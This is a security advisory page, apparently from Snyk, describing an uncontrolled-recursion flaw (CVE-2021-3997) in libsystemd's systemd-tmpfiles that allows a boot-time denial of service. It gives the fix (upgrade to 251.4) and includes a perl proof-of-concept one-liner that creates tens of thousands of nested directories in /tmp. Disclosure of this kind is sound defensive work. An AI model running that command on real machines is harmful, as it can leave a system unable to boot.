Uncontrolled Recursion Affecting libsystemd package, versions [,251.4)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.03% (9th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Uncontrolled Recursion vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-CONAN-LIBSYSTEMD-10077378
  • published8 May 2025
  • disclosed24 Aug 2022
  • creditQualys Research Labs

Introduced: 24 Aug 2022

CVE-2021-3997  (opens in a new tab)
CWE-674  (opens in a new tab)

How to fix?

Upgrade libsystemd to version 251.4 or higher.

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion via the systemd-tmpfiles component, leading to a denial of service at boot time when too many nested directories are created in /tmp.

PoC:

$ cd /tmp
$ perl -e 'use strict;
for (my $i = 0; $i < (1<<15); $i++) {
mkdir "A", 0700 or die;
chdir "A" or die; }'```

CVSS Base Scores

version 3.1